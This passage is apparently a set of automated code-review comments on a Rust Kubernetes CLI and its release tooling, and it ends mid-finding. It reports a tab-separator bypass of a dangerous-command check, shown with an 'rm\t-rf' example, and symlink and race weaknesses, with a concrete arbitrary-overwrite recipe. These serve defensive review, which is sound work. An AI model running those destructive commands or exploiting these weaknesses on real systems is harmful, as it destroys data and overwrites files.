| .is_some_and(|rest| rest.starts_with(' ')) | ||
| } |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
Match tab-separated command tokens.
matches_command only accepts U+0020 after the command name. A command such as team\tdisable --yes or rm\t-rf ... returns false, although tabs separate shell command tokens. This bypasses the confirmation policy for raw exec commands.
Proposed fix
fn matches_command(command: &str, name: &str) -> bool {
command == name
|| command
.strip_prefix(name)
- .is_some_and(|rest| rest.starts_with(' '))
+ .is_some_and(|rest| rest.starts_with(' ') || rest.starts_with('\t'))
} fn danger_matching_stops_at_word_boundaries() {
+ assert!(is_dangerous("team\tdisable --yes"));
assert!(!is_dangerous("team disablex"));🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@core/src/shell.rs` around lines 104 - 109, Update matches_command so command
names are recognized when followed by any shell whitespace separator, including
tabs, rather than only U+0020. Preserve exact-name matching and the existing
argument-boundary behavior for other whitespace-separated tokens.
| let desired_key = desired.and_then(taint_key); | ||
| nodes | ||
| .get(name) | ||
| .map(|node| { | ||
| node.taints | ||
| .iter() | ||
| .filter_map(|taint| taint_key(taint)) | ||
| .filter(|key| key.starts_with(NODE_LABEL_PREFIX)) | ||
| .filter(|key| Some(*key) != desired_key) | ||
| .map(|key| format!("{key}-")) | ||
| .collect() |
There was a problem hiding this comment.
🩺 Stability & Availability | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
rg -n -C 6 'stale_owned_taints|taint_key|taint_identity|NoSchedule|NoExecute' \
k8s_cli/src/manager/mod.rs k8s_cli/src/manager/tests.rsRepository: lollipopkit/exedev-cli
Length of output: 8200
🏁 Script executed:
#!/bin/bash
set -euo pipefail
printf '%s\n' '--- taint reconciliation and command construction ---'
sed -n '260,315p;700,790p' k8s_cli/src/manager/mod.rs
printf '%s\n' '--- taint parsing, desired-value construction, and tests ---'
rg -n -C 8 'taint_key|taint|NoExecute|NoSchedule|overwrite|stale_owned_taints' \
k8s_cli/src/manager/mod.rs k8s_cli/src/manager/tests.rsRepository: lollipopkit/exedev-cli
Length of output: 24694
🏁 Script executed:
#!/bin/bash
set -euo pipefail
python3 - <<'PY'
from pathlib import Path
p = Path("k8s_cli/src/manager/mod.rs")
text = p.read_text()
start = text.index("fn stale_owned_taints(")
end = text.index("\nfn kubeconfig_for_bootstrap", start)
print(text[start:end])
tests = Path("k8s_cli/src/manager/tests.rs").read_text()
start = tests.index("fn stale_owned_taints_are_scheduled_for_removal")
end = tests.find("\n#[test]", start + 1)
print("\n--- test ---")
print(tests[start:end if end != -1 else None])
PYRepository: lollipopkit/exedev-cli
Length of output: 1931
🌐 Web query:
Kubernetes kubectl taint official documentation remove taint key:effect- overwrite same key different effect
💡 Result:
To remove a taint from a Kubernetes node, you append a hyphen (-) to the end of the taint specification used in the kubectl taint command [1][2]. Removing a specific taint with a known key and effect: To remove a taint matching both the key and the effect (e.g., key dedicated and effect NoSchedule), use the following syntax [1][3]: kubectl taint nodes :- Removing all taints with a specific key: To remove all taints that share the same key, regardless of their effect or value, append a hyphen to the key only [1][3]: kubectl taint nodes - Overwriting an existing taint: If you want to update the value of an existing taint, you do not need to remove it first. If you apply a taint with a key and effect that already exists on the node, Kubernetes will overwrite the existing value with the new one specified in your command [1][4]. For example, running: kubectl taint nodes =: will update the existing taint (with matching key and effect) to have . If the taint does not exist, it will be added [1][4]. Note: If you attempt to add a taint that already exists without intending to overwrite the value, you can control this behavior using the --overwrite flag (which defaults to false) [3][5]. Setting --overwrite=false will reject updates that would overwrite an existing taint [3][5].
Citations:
- 1: https://kubernetes.io/docs/reference/kubectl/generated/kubectl_taint/
- 2: https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/
- 3: https://man.archlinux.org/man/kubectl-taint.1.en
- 4: https://kubernetes.io/docs/reference/kubectl/quick-reference/
- 5: https://manpages.opensuse.org/Tumbleweed/kubernetes1.34-client-common/kubectl-taint.1.en.html
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Read-only behavioral check of the repository's string representation.
python3 - <<'PY'
def taint_key(taint):
return taint.split("=", 1)[0].split(":", 1)[0] or None
def stale_owned_taints(taints, desired):
desired_key = taint_key(desired) if desired else None
return [
f"{key}-"
for taint in taints
if (key := taint_key(taint))
and key.startswith("exedev.dev/")
and key != desired_key
]
actual = ["exedev.dev/pool=blue:NoSchedule"]
desired = "exedev.dev/pool=blue:NoExecute"
print("current implementation:", stale_owned_taints(actual, desired))
print("desired key/effect removal:", ["exedev.dev/pool:NoSchedule-"])
PYRepository: lollipopkit/exedev-cli
Length of output: 247
Reconcile tool-owned taints by key and effect.
stale_owned_taints compares only taint keys. A change from exedev.dev/pool=blue:NoSchedule to exedev.dev/pool=blue:NoExecute adds the new taint but leaves NoSchedule active.
Compare (key, effect) identities and remove stale entries with key:effect-. Add a regression test for the same key with different effects.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@k8s_cli/src/manager/mod.rs` around lines 771 - 781, Update stale_owned_taints
to compare tool-owned taints by both key and effect rather than key alone, and
format removals as key:effect-. Ensure a changed effect removes the previous
taint while retaining the desired one, and add a regression test covering the
same key with different effects.
There was a problem hiding this comment.
Actionable comments posted: 8
🛠️ To have the bot fix these findings, comment @winnowl fix.
🔎 Confirmed findings (8)
- 🟠 High If the repository starts without Cargo.lock, a failed or interrupted migration can leave a newly created lockfile beside restored old manifests, violating the all-old/all-new state invariant. (inline)
- 🟠 High The symlink and confinement checks are not atomic with the final write, so a local attacker able to modify the tap can replace the validated formula or parent directory before
cat >and redirect the overwrite. (inline) - 🟠 High A duplicate required member can end in a symlink and still pass validation if the symlink target is not the required name, because the awk predicate does not identify the symlink's actual name. (inline)
- 🟠 High An explicit formula path is unconstrained when TAP_REPO_PATH is missing (or points at a non-directory), so the script can write outside any tap root. For example, with the default tap absent,
TAP_FORMULA_PATH=/tmp/attacker-owned/out.rb TAP_REPO_PATH=/does-not-exist, the-dguard skips confinement,mkdir -psucceeds, and the final redirection overwrites/creates/tmp/attacker-owned/out.rb;/etc/...or another sensitive writable location is likewise reachable if permissions allow. A relativeTAP_FORMULA_PATH=out.rbin an attacker-chosen working directory has the same behavior. The later missing-tap check only rejects the non-explicit case (-z "$EXPLICIT_TAP_FORMULA_PATH"), leaving this bypass intact. This is exploitable whenever untrusted or attacker-controlled environment/working-directory values reach a privileged or automation invocation; it would be disproven only if callers guarantee both a trusted existing TAP_REPO_PATH and a trusted explicit path. (inline) - 🟡 Medium The build is not reproducible despite using
cargo build --locked: the workflow installs the movingstableRust channel and the unversionedmusl-toolspackage from the current Ubuntu repositories. Re-running the same resolved commit after either toolchain or system package updates can produce different binaries (or fail), so--lockedonly fixes Cargo dependency resolution and does not satisfy the stated reproducible locked-build obligation. (inline) - 🟡 Medium Manual resolution is not a single consistent read of the tag ref: it performs separate
gh api .../git/ref/tags/${tag}requests for.object.shaand.object.type(lines 39-40). If the tag is moved between those requests, the SHA can come from the old target while the type comes from the new target. In the old-tag/new-commit interleaving, the code skips peeling becausetypeiscommitand exports the old tag-object SHA asneeds.resolve.outputs.sha; builds then checkout the wrong object (or fail), and the later verification only detects the mismatch after the build. The claim is false only if the tag is guaranteed immutable during this two-request window, which the workflow otherwise explicitly treats as a possible race at lines 156-159. (inline) - 🟡 Medium A pre-existing sibling backup file can be destroyed even when the migration fails before making any changes. (inline)
- 🟡 Medium set-version.sh is not safe against symlinked staging paths in the checkout: its awk redirection writes to a predictable
Cargo.toml.tmppath, and the latermvcan replace the real manifest with that symlink. For example, a checked-outcore/Cargo.toml.tmp -> /tmp/targetcauses the awk rewrite to write the generated manifest through/tmp/target, after whichmv core/Cargo.toml.tmp core/Cargo.tomlinstalls the symlink as the manifest. The same issue applies to the root.tmpand.nextpaths (and backup paths). This is a concrete arbitrary-file overwrite / workspace-corruption path whenever the repository or surrounding workspace can contain an attacker-controlled symlink; it would be disproven if the invocation environment guarantees all these adjacent paths are trusted non-symlinks and the checkout rejects symlinks. (inline)
⛔ Unresolved from previous review (2) — not approved until fixed
- The publish job grants
contents: writeto every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capablegithub.token; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures. — Thepublishjob still declarespermissions: contents: write, and its first step,Download release archives, runs in that same job. GitHub Actions applies job-level token permissions to every step; moving tag verification to the separate read-onlyverifyjob removes write access from that shell step, but does not prevent the download action from receiving the write-capablegithub.token. A compromised download action can therefore still perform the issue's described repository mutation. - k8s_cli/src/manager/process.rs: A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it.
capture_remote_ssh_outputretries solely fromoutput.status.code() == Some(255)and ignores whether stdout already contains the wrapper's__EXEDEV_K8S_EXIT__:marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent. — The retry is now suppressed when captured stdout containsREMOTE_EXIT_PREFIX, but it still retries any SSH 255 that lacks the marker. If the remote wrapper finishes the non-idempotent script and the connection drops before the marker reaches the client, stdout has no marker while the remote state change has already occurred, so the full script is sent again. Marker absence does not establish that remote execution did not complete.
⚠️ Unverified risks (1)
- Plain-text fallback accepts arbitrary lowercase words as VM inventory entries, so non-table prose or malformed API responses can make an existing VM appear present and suppress creation/bootstrap. (k8s_cli/src/manager/parsing.rs)
📋 Additional findings from this change (not shown inline) (6)
- 🟠 High The verify/confirm sequence does not prevent a tag race during publication: after
verifychecks the tag (lines 164-176), an actor can move it beforesoftprops/action-gh-releaseattaches the archives at lines 197-210. GitHub releases are attached by tag name, so the release can permanently contain binaries built fromBUILT_SHAwhile the tag points elsewhere;confirm(lines 216-237) only fails afterward and performs no deletion, retagging, or release correction. Thus a successful publish followed by a red workflow still leaves a mismatched public release. This is false only if the tag cannot be moved by any actor/token during the verify-to-publish window or if post-publication detection is explicitly considered sufficient rather than preventing the mismatch. (.github/workflows/release.yml) — anchor-unreliable - 🟠 High The symlink checks and realpath confinement are TOCTOU checks, not protection for the actual write. After
-L "$TAP_FORMULA_PATH"andFORMULA_PARENT_REALpass, a local attacker who can modify the tap directory can replace the formula file with a symlink (or replace a checked parent directory with a symlink) while the four release archives are downloaded/validated. The finalcat > "$TAP_FORMULA_PATH"follows that replacement and truncates/writes the symlink target outside the tap, potentially overwriting an arbitrary attacker-selected writable file. This is disproven only if the tap tree is guaranteed immutable/unmodifiable by other users/processes for the whole invocation, not merely trusted at startup. (scripts/release/sync-homebrew-tap.sh) — per-file-budget - 🟠 High Direct JSON arrays of arbitrary strings are treated as VM names without validation, allowing status/error payloads such as
["error", "quota exceeded"](or a serialized arbitrary string list) to become inventory entries and suppress VM creation. (k8s_cli/src/manager/parsing.rs) — anchor-unreliable - 🟡 Medium Tag verification is implemented as two independent ref API requests for SHA and type. If an annotated tag is moved from tag object A to tag object B between those requests, verification can read A's SHA and B's
tagtype, dereference A, and compare the old commit as if it were the current tag; it can therefore pass while the ref now names B. The same split-read exists in resolve for manual dispatch, so the pinned SHA itself can be selected from a torn snapshot. (.github/workflows/release.yml) — anchor-unreliable - 🟡 Medium The generated formula does not pin the release version, so Homebrew derives its version from a platform-suffixed archive URL instead of the validated tag version. (scripts/release/sync-homebrew-tap.sh) — per-file-budget
- 🟡 Medium Release-tag validation is locale-dependent and can admit characters outside the intended ASCII SemVer grammar, which are then interpolated into URLs and local archive paths. (scripts/release/sync-homebrew-tap.sh) — per-file-budget
♻️ Previously reported (still present) (3)
- 🟠 High Publication is not atomically bound to the commit that was verified: the workflow verifies the tag, then invokes the write-capable release action using only the mutable tag name. If an authorized actor force-moves the tag from BUILT_SHA to another commit after
verifycompletes but before/duringsoftprops/action-gh-release, the action can create/update the release for the moved tag and attach archives built from the old commit;confirmonly turns this into a failed workflow after the mismatched release has already been published. (.github/workflows/release.yml) — previously-reported - 🟠 High Predictable staging filenames are followed as symlinks, so a manipulated checkout can make the migration overwrite files outside the repository. (scripts/release/set-version.sh) — anchor-unreliable
- 🟡 Medium SSH destinations inside the wrapped serialized listing are skipped whenever the outer JSON also contains any destination. In a mixed response such as an outer VM record plus
{"output":"[{\"vm_name\":\"inner\",\"ssh_dest\":\"vm+inner@exe.dev\"}]"}, parse_ssh_destinations returns only the outer route; bootstrap later uses<inner>.exe.xyzinstead of the authoritative API route. (k8s_cli/src/manager/parsing.rs) — previously-reported
❓ Low-evidence leads (not confirmed — verify before acting) (1)
- The semver validation is locale-dependent in this script: unlike check-version.sh, it never sets
LC_ALL=Cbefore Bash's[[ ... =~ ... ]]expressions. In a locale whose collation makes[0-9A-Za-z]match non-ASCII collating characters, a tag containing such a character can passSEMVER_RE; that character is then interpolated into GitHub URLs and the generated Ruby formula, violating the script's stated guarantee that the validated tag is safe for those contexts. This is disproven only if the supported Bash/locale combinations are explicitly restricted to ASCII/C locale (or if the regex is independently shown not to widen there). (scripts/release/sync-homebrew-tap.sh)
🤖 Prompt for AI agents — all findings (19)
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
## Unresolved from the previous review — these block approval, fix them first (2)
Somewhere in the code under review, address this finding:
The publish job grants `contents: write` to every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capable `github.token`; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures.
In k8s_cli/src/manager/process.rs, address this finding:
A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it. `capture_remote_ssh_output` retries solely from `output.status.code() == Some(255)` and ignores whether stdout already contains the wrapper's `__EXEDEV_K8S_EXIT__:` marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent.
## Findings on this change (also posted as inline comments) (8)
In scripts/release/set-version.sh around line 117, address this finding:
If the repository starts without Cargo.lock, a failed or interrupted migration can leave a newly created lockfile beside restored old manifests, violating the all-old/all-new state invariant.
In scripts/release/sync-homebrew-tap.sh around line 146, address this finding:
The symlink and confinement checks are not atomic with the final write, so a local attacker able to modify the tap can replace the validated formula or parent directory before `cat >` and redirect the overwrite.
In scripts/release/sync-homebrew-tap.sh around line 219, address this finding:
A duplicate required member can end in a symlink and still pass validation if the symlink target is not the required name, because the awk predicate does not identify the symlink's actual name.
In scripts/release/sync-homebrew-tap.sh around line 153, address this finding:
An explicit formula path is unconstrained when TAP_REPO_PATH is missing (or points at a non-directory), so the script can write outside any tap root. For example, with the default tap absent, `TAP_FORMULA_PATH=/tmp/attacker-owned/out.rb TAP_REPO_PATH=/does-not-exist`, the `-d` guard skips confinement, `mkdir -p` succeeds, and the final redirection overwrites/creates `/tmp/attacker-owned/out.rb`; `/etc/...` or another sensitive writable location is likewise reachable if permissions allow. A relative `TAP_FORMULA_PATH=out.rb` in an attacker-chosen working directory has the same behavior. The later missing-tap check only rejects the non-explicit case (`-z "$EXPLICIT_TAP_FORMULA_PATH"`), leaving this bypass intact. This is exploitable whenever untrusted or attacker-controlled environment/working-directory values reach a privileged or automation invocation; it would be disproven only if callers guarantee both a trusted existing TAP_REPO_PATH and a trusted explicit path.
In .github/workflows/release.yml around line 106, address this finding:
The build is not reproducible despite using `cargo build --locked`: the workflow installs the moving `stable` Rust channel and the unversioned `musl-tools` package from the current Ubuntu repositories. Re-running the same resolved commit after either toolchain or system package updates can produce different binaries (or fail), so `--locked` only fixes Cargo dependency resolution and does not satisfy the stated reproducible locked-build obligation.
In .github/workflows/release.yml around line 47, address this finding:
Manual resolution is not a single consistent read of the tag ref: it performs separate `gh api .../git/ref/tags/${tag}` requests for `.object.sha` and `.object.type` (lines 39-40). If the tag is moved between those requests, the SHA can come from the old target while the type comes from the new target. In the old-tag/new-commit interleaving, the code skips peeling because `type` is `commit` and exports the old tag-object SHA as `needs.resolve.outputs.sha`; builds then checkout the wrong object (or fail), and the later verification only detects the mismatch after the build. The claim is false only if the tag is guaranteed immutable during this two-request window, which the workflow otherwise explicitly treats as a possible race at lines 156-159.
In scripts/release/set-version.sh around line 121, address this finding:
A pre-existing sibling backup file can be destroyed even when the migration fails before making any changes.
In scripts/release/set-version.sh around line 34, address this finding:
set-version.sh is not safe against symlinked staging paths in the checkout: its awk redirection writes to a predictable `Cargo.toml.tmp` path, and the later `mv` can replace the real manifest with that symlink. For example, a checked-out `core/Cargo.toml.tmp -> /tmp/target` causes the awk rewrite to write the generated manifest through `/tmp/target`, after which `mv core/Cargo.toml.tmp core/Cargo.toml` installs the symlink as the manifest. The same issue applies to the root `.tmp` and `.next` paths (and backup paths). This is a concrete arbitrary-file overwrite / workspace-corruption path whenever the repository or surrounding workspace can contain an attacker-controlled symlink; it would be disproven if the invocation environment guarantees all these adjacent paths are trusted non-symlinks and the checkout rejects symlinks.
## Additional findings on this change (not posted inline) (6)
In .github/workflows/release.yml, address this finding:
The verify/confirm sequence does not prevent a tag race during publication: after `verify` checks the tag (lines 164-176), an actor can move it before `softprops/action-gh-release` attaches the archives at lines 197-210. GitHub releases are attached by tag name, so the release can permanently contain binaries built from `BUILT_SHA` while the tag points elsewhere; `confirm` (lines 216-237) only fails afterward and performs no deletion, retagging, or release correction. Thus a successful publish followed by a red workflow still leaves a mismatched public release. This is false only if the tag cannot be moved by any actor/token during the verify-to-publish window or if post-publication detection is explicitly considered sufficient rather than preventing the mismatch.
In scripts/release/sync-homebrew-tap.sh around line 242, address this finding:
The symlink checks and realpath confinement are TOCTOU checks, not protection for the actual write. After `-L "$TAP_FORMULA_PATH"` and `FORMULA_PARENT_REAL` pass, a local attacker who can modify the tap directory can replace the formula file with a symlink (or replace a checked parent directory with a symlink) while the four release archives are downloaded/validated. The final `cat > "$TAP_FORMULA_PATH"` follows that replacement and truncates/writes the symlink target outside the tap, potentially overwriting an arbitrary attacker-selected writable file. This is disproven only if the tap tree is guaranteed immutable/unmodifiable by other users/processes for the whole invocation, not merely trusted at startup.
In k8s_cli/src/manager/parsing.rs, address this finding:
Direct JSON arrays of arbitrary strings are treated as VM names without validation, allowing status/error payloads such as `["error", "quota exceeded"]` (or a serialized arbitrary string list) to become inventory entries and suppress VM creation.
In .github/workflows/release.yml, address this finding:
Tag verification is implemented as two independent ref API requests for SHA and type. If an annotated tag is moved from tag object A to tag object B between those requests, verification can read A's SHA and B's `tag` type, dereference A, and compare the old commit as if it were the current tag; it can therefore pass while the ref now names B. The same split-read exists in resolve for manual dispatch, so the pinned SHA itself can be selected from a torn snapshot.
In scripts/release/sync-homebrew-tap.sh around line 243, address this finding:
The generated formula does not pin the release version, so Homebrew derives its version from a platform-suffixed archive URL instead of the validated tag version.
In scripts/release/sync-homebrew-tap.sh around line 51, address this finding:
Release-tag validation is locale-dependent and can admit characters outside the intended ASCII SemVer grammar, which are then interpolated into URLs and local archive paths.
## Previously reported and still present (3)
In .github/workflows/release.yml around line 229, address this finding:
Publication is not atomically bound to the commit that was verified: the workflow verifies the tag, then invokes the write-capable release action using only the mutable tag name. If an authorized actor force-moves the tag from BUILT_SHA to another commit after `verify` completes but before/during `softprops/action-gh-release`, the action can create/update the release for the moved tag and attach archives built from the old commit; `confirm` only turns this into a failed workflow after the mismatched release has already been published.
In scripts/release/set-version.sh, address this finding:
Predictable staging filenames are followed as symlinks, so a manipulated checkout can make the migration overwrite files outside the repository.
In k8s_cli/src/manager/parsing.rs around line 89, address this finding:
SSH destinations inside the wrapped serialized listing are skipped whenever the outer JSON also contains any destination. In a mixed response such as an outer VM record plus `{"output":"[{\"vm_name\":\"inner\",\"ssh_dest\":\"vm+inner@exe.dev\"}]"}`, parse_ssh_destinations returns only the outer route; bootstrap later uses `<inner>.exe.xyz` instead of the authoritative API route.
📜 Review details
Model
- gpt-5.6-luna
Coverage
- 5 of 7 areas reviewed
| # failure or interrupt there would otherwise leave a refreshed lockfile beside | ||
| # restored manifests. | ||
| LOCKFILE="$REPO_ROOT/Cargo.lock" | ||
| if [[ -f "$LOCKFILE" ]]; then |
There was a problem hiding this comment.
🎯 Correctness | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The precise Cargo failure timing is implementation-dependent, but any failure or interrupt after Cargo creates Cargo.lock and before REFRESHED=1 leaves the demonstrated inconsistent state.
🤖 Prompt for AI agents
In scripts/release/set-version.sh, address this finding:
If the repository starts without Cargo.lock, a failed or interrupted migration can leave a newly created lockfile beside restored old manifests, violating the all-old/all-new state invariant.
| ;; | ||
| esac | ||
|
|
||
| if [[ -L "$TAP_FORMULA_PATH" ]]; then |
There was a problem hiding this comment.
🎯 Correctness | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact exploitability window depends on a concurrent local actor's ability to modify the tap filesystem during the downloads, but the later path-based mkdir and redirection are definitely not atomic with the earlier checks.
🤖 Prompt for AI agents
In scripts/release/sync-homebrew-tap.sh, address this finding:
The symlink and confinement checks are not atomic with the final write, so a local attacker able to modify the tap can replace the validated formula or parent directory before `cat >` and redirect the overwrite.
| # extraction applies entries in order, so a later symlink or directory with | ||
| # the same name is what ends up installed. | ||
| if ! awk -v want="./$member" ' | ||
| $NF == want { seen++; if ($1 !~ /^-/) bad++ } |
There was a problem hiding this comment.
🔍 Data Integrity | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The correction should be checked against the exact GNU tar and BSD tar verbose-listing formats used by the release runners.
🤖 Prompt for AI agents
In scripts/release/sync-homebrew-tap.sh, address this finding:
A duplicate required member can end in a symlink and still pass validation if the symlink target is not the required name, because the awk predicate does not identify the symlink's actual name.
📝 Committable suggestion — review it before committing; it is generated, not proven.
| $NF == want { seen++; if ($1 !~ /^-/) bad++ } | |
| ($NF == want || ($(NF-1) == "->" && $(NF-2) == want)) { seen++; if ($1 !~ /^-/) bad++ } |
|
|
||
| # An explicit path gets the same confinement as a discovered one when there is a | ||
| # tap to confine it to; the file is created and truncated below either way. | ||
| if [[ -n "$TAP_REPO_PATH" && -d "$TAP_REPO_PATH" ]]; then |
There was a problem hiding this comment.
🔒 Security | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ Impact depends on an attacker being able to influence the environment or working directory of a privileged/automation invocation; the repository does not establish whether such callers exist.
🤖 Prompt for AI agents
In scripts/release/sync-homebrew-tap.sh, address this finding:
An explicit formula path is unconstrained when TAP_REPO_PATH is missing (or points at a non-directory), so the script can write outside any tap root. For example, with the default tap absent, `TAP_FORMULA_PATH=/tmp/attacker-owned/out.rb TAP_REPO_PATH=/does-not-exist`, the `-d` guard skips confinement, `mkdir -p` succeeds, and the final redirection overwrites/creates `/tmp/attacker-owned/out.rb`; `/etc/...` or another sensitive writable location is likewise reachable if permissions allow. A relative `TAP_FORMULA_PATH=out.rb` in an attacker-chosen working directory has the same behavior. The later missing-tap check only rejects the non-explicit case (`-z "$EXPLICIT_TAP_FORMULA_PATH"`), leaving this bypass intact. This is exploitable whenever untrusted or attacker-controlled environment/working-directory values reach a privileged or automation invocation; it would be disproven only if callers guarantee both a trusted existing TAP_REPO_PATH and a trusted explicit path.
|
|
||
| - name: Install Rust | ||
| uses: dtolnay/rust-toolchain@stable | ||
| uses: dtolnay/rust-toolchain@4360b52568e2003a75bf9bc1d59f33a8e3fc893c # stable |
There was a problem hiding this comment.
🔍 Build Deployment | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact Rust and musl-tools versions used on any particular run are not observable from the workflow alone, so the precise binary delta cannot be predicted; however, both inputs are demonstrably resolved from moving sources rather than pinned versions.
🤖 Prompt for AI agents
In .github/workflows/release.yml, address this finding:
The build is not reproducible despite using `cargo build --locked`: the workflow installs the moving `stable` Rust channel and the unversioned `musl-tools` package from the current Ubuntu repositories. Re-running the same resolved commit after either toolchain or system package updates can produce different binaries (or fail), so `--locked` only fixes Cargo dependency resolution and does not satisfy the stated reproducible locked-build obligation.
| set -euo pipefail | ||
| if [[ "${GITHUB_EVENT_NAME}" == "workflow_dispatch" ]]; then | ||
| tag="${INPUT_TAG_NAME}" | ||
| sha="$(gh api "repos/${GITHUB_REPOSITORY}/git/ref/tags/${tag}" --jq '.object.sha')" |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In .github/workflows/release.yml, address this finding:
Manual resolution is not a single consistent read of the tag ref: it performs separate `gh api .../git/ref/tags/${tag}` requests for `.object.sha` and `.object.type` (lines 39-40). If the tag is moved between those requests, the SHA can come from the old target while the type comes from the new target. In the old-tag/new-commit interleaving, the code skips peeling because `type` is `commit` and exports the old tag-object SHA as `needs.resolve.outputs.sha`; builds then checkout the wrong object (or fail), and the later verification only detects the mismatch after the build. The claim is false only if the tag is guaranteed immutable during this two-request window, which the workflow otherwise explicitly treats as a possible race at lines 156-159.
| TARGETS+=("$LOCKFILE") | ||
| fi | ||
|
|
||
| for target in "${TARGETS[@]}"; do |
There was a problem hiding this comment.
🔍 Resource Lifetime | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In scripts/release/set-version.sh, address this finding:
A pre-existing sibling backup file can be destroyed even when the migration fails before making any changes.
|
|
||
| set_package_version() { | ||
| local src="$1" dest="$2" | ||
| awk -v ver="$VERSION" ' |
There was a problem hiding this comment.
🔒 Security | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The practical security impact depends on whether an attacker can control the checked-out commit or adjacent workspace paths used to invoke the script; the filesystem behavior itself is unconditional when a staging or backup path is a symlink.
🤖 Prompt for AI agents
In scripts/release/set-version.sh, address this finding:
set-version.sh is not safe against symlinked staging paths in the checkout: its awk redirection writes to a predictable `Cargo.toml.tmp` path, and the later `mv` can replace the real manifest with that symlink. For example, a checked-out `core/Cargo.toml.tmp -> /tmp/target` causes the awk rewrite to write the generated manifest through `/tmp/target`, after which `mv core/Cargo.toml.tmp core/Cargo.toml` installs the symlink as the manifest. The same issue applies to the root `.tmp` and `.next` paths (and backup paths). This is a concrete arbitrary-file overwrite / workspace-corruption path whenever the repository or surrounding workspace can contain an attacker-controlled symlink; it would be disproven if the invocation environment guarantees all these adjacent paths are trusted non-symlinks and the checkout rejects symlinks.
The tap script truncated the formula in place with `cat >`, so a symlink put there after the checks was written through. It now writes beside the target and renames over it, which replaces the entry rather than following it. An explicit TAP_FORMULA_PATH was only confined when TAP_REPO_PATH happened to be an existing directory, leaving `TAP_FORMULA_PATH=/tmp/x.rb TAP_REPO_PATH=/does-not-exist` free to write anywhere; a tap root is now required and the path must resolve inside it. Tag validation goes through the shared grammar, which pins LC_ALL, and the formula pins the version instead of letting Homebrew infer it from a platform-suffixed URL. Archive validation read the last field of the verbose listing, which for a symlink is its target rather than its name, so an archive carrying the real file followed by a symlink of the same name passed while extraction ended on the symlink. The name is now taken from before the ` -> `. set-version.sh derives staging and backup names from its targets, so anything already at one of them was written through — a symlink redirecting the rewrite out of the workspace — and then deleted by cleanup; those siblings must now be free before it runs. A workspace that had no Cargo.lock kept the one cargo writes when a run was interrupted, since there was no backup to restore over it. The cleanup also tripped `set -u` on an early failure, before any target was registered. The workflow read `.object.sha` and `.object.type` in two separate API calls, so a tag moved in between could pair a SHA from one side with a type from the other and pin a torn snapshot. Each ref is now read once. Both listing parsers now read the `output` wrapper on the same terms, so a response carrying outer records and a serialized listing contributes both rather than whichever one the parser happened to check first. Bare strings in a JSON array are filtered by name shape, which keeps prose out of inventory.
There was a problem hiding this comment.
Actionable comments posted: 8
🛠️ To have the bot fix these findings, comment @winnowl fix.
🔎 Confirmed findings (8)
- 🟠 High A symlinked workspace-member directory can redirect the rewrite outside
REPO_ROOT. The script constructs$REPO_ROOT/$member/Cargo.tomland validates only-fon the resulting path; withcore -> /tmp/other-worktree(or another symlinked member directory),awk ... > "$manifest.tmp"and the latermvoperate in/tmp/other-worktree, despite the sibling-name checks. This violates confinement even when no target-file symlink exists. (inline) - 🟠 High The confinement check is pathname-based and can be bypassed by a concurrent symlink swap of a formula parent directory. After
FORMULA_PARENT_REALis checked, the script callsmktempand latermvusing the original path; if an attacker replaces a checked descendant (for exampletap/Formula/e) with a symlink to an outside directory,mktempcreates the staged file outside the tap andmvwrites there. The target-file symlink check does not protect parent components. This would be false only if the tap directory and all descendants were trusted against concurrent filesystem mutation for the entire run. (inline) - 🟡 Medium Annotated tags are not resolved all the way to a commit: the workflow dereferences at most one tag object and then rejects a valid tag-of-tag (or compares it incorrectly during verification). (inline)
- 🟡 Medium The script does not preserve or confine symlinked workspace manifests. It checks member/root manifests only with
